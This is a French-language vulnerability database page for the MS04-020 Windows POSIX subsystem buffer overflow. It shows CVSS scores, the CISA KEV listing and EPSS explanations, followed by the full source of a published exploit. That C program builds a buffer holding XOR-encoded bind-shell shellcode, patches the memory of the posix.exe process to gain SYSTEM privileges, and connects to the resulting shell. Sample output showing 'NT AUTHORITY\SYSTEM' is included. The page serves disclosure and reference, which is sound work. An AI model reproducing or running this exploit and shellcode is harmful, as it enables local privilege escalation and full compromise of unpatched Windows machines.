Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-120 |
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Windows Privilege Escalation Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-03-02 23h00 +00:00
Action attendue : 2022-03-23 23h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 24277
Date de publication : 2004-07-15 22h00 +00:00
Auteur : bkbll
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/10710/info
The Microsoft POSIX subsystem implementation is prone to a local buffer overflow vulnerability.
A local attacker may exploit this vulnerability in order to run code with elevated privileges, fully compromising the vulnerable computer.
/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit (MS04-020)
*
* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED
*
* Posixexp.c By bkbll (bkbll cnhonker net,bkbll tom com) www cnhonker com
*
* 2004/07/16
*
* thanks to eyas xfocus org
*
*
C:\>whoami
VITUALWIN2K\test
C:\>posixexp
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com
pax: illegal option--h
Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
[-t device] [-x format] [pathname...]
pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory
For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]
(C) .... 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM
C:\WINNT\system32>exit
[+] Connection closed in exit command.
C:\>
*/
#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")
#define PATCHADDR 0x0100343D //......posix.exe...
#define MEMSIZE 0x350
#define CODESIZE 50
#define bind_port_offset 116
#define RETADDR 0x796E9B53 //advapi32.dll jmp esp
// [ebp-0x200] [saved ebp] [saved eip]
#define EIPLOCATION 0x200+4-12 //12."\DosDevices\"...
#define CANWRITEADDR 0x7ffdf02c //...+0x20...
#define VERSION "1.0"
unsigned short bindport = 60000;
unsigned char jmpcode[]=
"\x33\xC0" //xor eax,eax
"\x66\xB8\xc0\x01" //mov ax,0x1ff
"\x40" //inc eax
"\x2B\xE0" //sub esp,eax
"\xFF\xE4" //jmp esp
"\x00"; //\0 zero NULL
unsigned char bind_shell[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff"
/* 302 bytes shellcode, xor with 0xee */
"\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
"\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c"
"\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xbf\x86"
"\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65"
"\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb"
"\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c"
"\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45"
"\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x65\x9b"
"\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7"
"\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3"
"\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88"
"\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7"
"\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20"
"\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4a\x43"
"\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5"
;
int readwrite(SOCKET fd);
int client_connect(int sockfd,char* server,int port);
main()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID pdwCodeRemote;
unsigned int cbMemSize = MEMSIZE;
DWORD dwOldProtect,dwNumBytesXferred;
unsigned char buffer[MEMSIZE];
unsigned int buflen=0;
unsigned char textbuf[CODESIZE];
int i;
unsigned short lports;
char cmdarg[400];
char systemdir[MAX_PATH+1];
WSADATA wsd;
SOCKET sockfd;
printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)\n",VERSION);
printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\;n\n");
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("[-] WSAStartup error:%d\n", WSAGetLastError());
return -1;
}
i = GetWindowsDirectory(systemdir,MAX_PATH);
systemdir[i]='\0';
_snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32\\pax.exe /C
pax -h",systemdir,systemdir);
//printf("cmdarg:%s\n",cmdarg);
//exit(0);
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory( &pi,sizeof(pi));
//create process
//..psxss....
if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
{
printf("CreateProcess1 failed:%d\n", GetLastError());
return 0;
}
WaitForSingleObject(pi.hProcess, INFINITE);
//.....
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory( &pi,sizeof(pi));
if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))
{
printf("CreateProcess2 failed:%d\n", GetLastError());
return 0;
}
//alloc from remote process
pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT |
MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
if (pdwCodeRemote == NULL)
{
TerminateProcess(pi.hProcess,0);
printf("VirtualAllocEx failed:%d\n",GetLastError());
return 0;
}
printf("Remote addr:0x%08x\n",pdwCodeRemote);
//we can write and execute
if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
TerminateProcess(pi.hProcess,0);
printf("VirtualProtectEx failed:%d\n",GetLastError());
return 0;
}
//make shellcode
lports = htons(bindport)^0xeeee;
memcpy(bind_shell+bind_port_offset,&lports,2);
memset(buffer,'\x90',MEMSIZE);
//memset(buffer,'A',EIPLOCATION);
buffer[MEMSIZE-1] = '\0';
i=sizeof(bind_shell)-1;
if(i >= EIPLOCATION)
{
printf("shellcode so large:%d,must < %d\n",i,MEMSIZE);
TerminateProcess(pi.hProcess,0);
return 0;
}
i=EIPLOCATION-i;
memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
*(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //..eip
*(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //.......
memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
//write in to target
buflen=MEMSIZE;
if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred))
{
TerminateProcess(pi.hProcess,0);
printf("WriteProcessMemory failed:%d\n",GetLastError());
return 0;
}
//modified the process .text
if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
TerminateProcess(pi.hProcess,0);
printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError());
return 0;
}
//........
i = 0;
textbuf[i++]='\xbf';
textbuf[i++]=(DWORD)pdwCodeRemote & 0xff; //mov edi,pdwCodeRemote
textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
//......
textbuf[i++]='\xeb';
textbuf[i++]='\x09'; //jmp .+0b
//.....
if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred))
{
TerminateProcess(pi.hProcess,0);
printf("WriteProcessMemory failed:%d\n",GetLastError());
return 0;
}
ResumeThread(pi.hThread);
Sleep(5);
sockfd=WSASocket(2,1,0,0,0,0);
if(sockfd == INVALID_SOCKET)
{
printf("[-] WSASocket error:%d\n", WSAGetLastError());
return -1;
}
if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
{
closesocket(sockfd);
printf("[-] Maybe not success?\n");
}
readwrite(sockfd);
TerminateProcess(pi.hProcess,0);
WaitForSingleObject(pi.hProcess, INFINITE);
}
int readwrite(SOCKET fd)
{
fd_set fdr1;
unsigned char buffer[1024];
int istty,ct1,ct2;
struct timeval timer;
memset(buffer,0,sizeof(buffer));
istty=_isatty(0);
timer.tv_sec=0;
timer.tv_usec=0;
while(1)
{
FD_ZERO(&fdr1);
FD_SET(fd,&fdr1);
ct1=select(0,&fdr1,NULL,NULL,&timer);
if(ct1==SOCKET_ERROR)
{
printf("[-] select error:%d\n",GetLastError());
break;
}
if(FD_ISSET(fd,&fdr1))
{
ct1=recv(fd,buffer,sizeof(buffer)-1,0);
if((ct1==SOCKET_ERROR) || (ct1==0))
{
printf("[-] target maybe close the socket.\n");
break;
}
if(_write(1,buffer,ct1)<=0)
{
printf("[-] write to stdout error:%d\n",GetLastError());
break;
}
memset(buffer,0,sizeof(buffer));
}
if(istty)
{
if(_kbhit()) /* stdin can read */
{
ct1=read(0,buffer,sizeof(buffer)-1);
if(ct1 <= 0)
{
printf("[-] read from stdin error:%d\n",GetLastError());
break;
}
ct2=send(fd,buffer,ct1,0);
if((ct2==SOCKET_ERROR) || (ct2==0))
{
printf("[-] target maybe close the socket.\n");
break;
}
if( strnicmp(buffer, "exit", 4) == 0)
{
printf("[+] Connection closed in exit command.\n");
break;
}
memset(buffer,0,sizeof(buffer));
}
}
else
{
ct1=read(0,buffer,sizeof(buffer)-1);
if(ct1<=0)
{
printf("[-] read from nontty stdin error:%d\n",GetLastError());
break;
}
ct2=send(fd,buffer,ct1,0);
if((ct2==SOCKET_ERROR) || (ct2==0))
{
printf("[-] target maybe close the socket\n");
break;
}
if( strnicmp(buffer, "exit", 4) == 0)
{
printf("[+] Connection closed in exit command.\n");
break;
}
memset(buffer,0,sizeof(buffer));
}
}
return(1);
}
/* ....server .port */
int client_connect(int sockfd,char* server,int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;
short port2;
port2=port & 0xffff;
if((host=gethostbyname(server))==NULL)
{
printf("gethostbyname(%s) error\n",server);
return(-1);
}
memset(&cliaddr,0,sizeof(struct sockaddr));
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port2);
cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
{
printf("[-] Trying %s:%d error\n",server,port);
closesocket(sockfd);
return(-1);
}
//printf("ok\r\n");
return(0);
}
Products Mentioned
Configuraton 0
Microsoft>>Interix >> Version 2.2
Microsoft>>Windows_2000 >> Version -
Microsoft>>Windows_2000 >> Version -
Microsoft>>Windows_2000 >> Version -
Microsoft>>Windows_nt >> Version 4.0
Microsoft>>Windows_nt >> Version 4.0
Microsoft>>Windows_nt >> Version 4.0
Références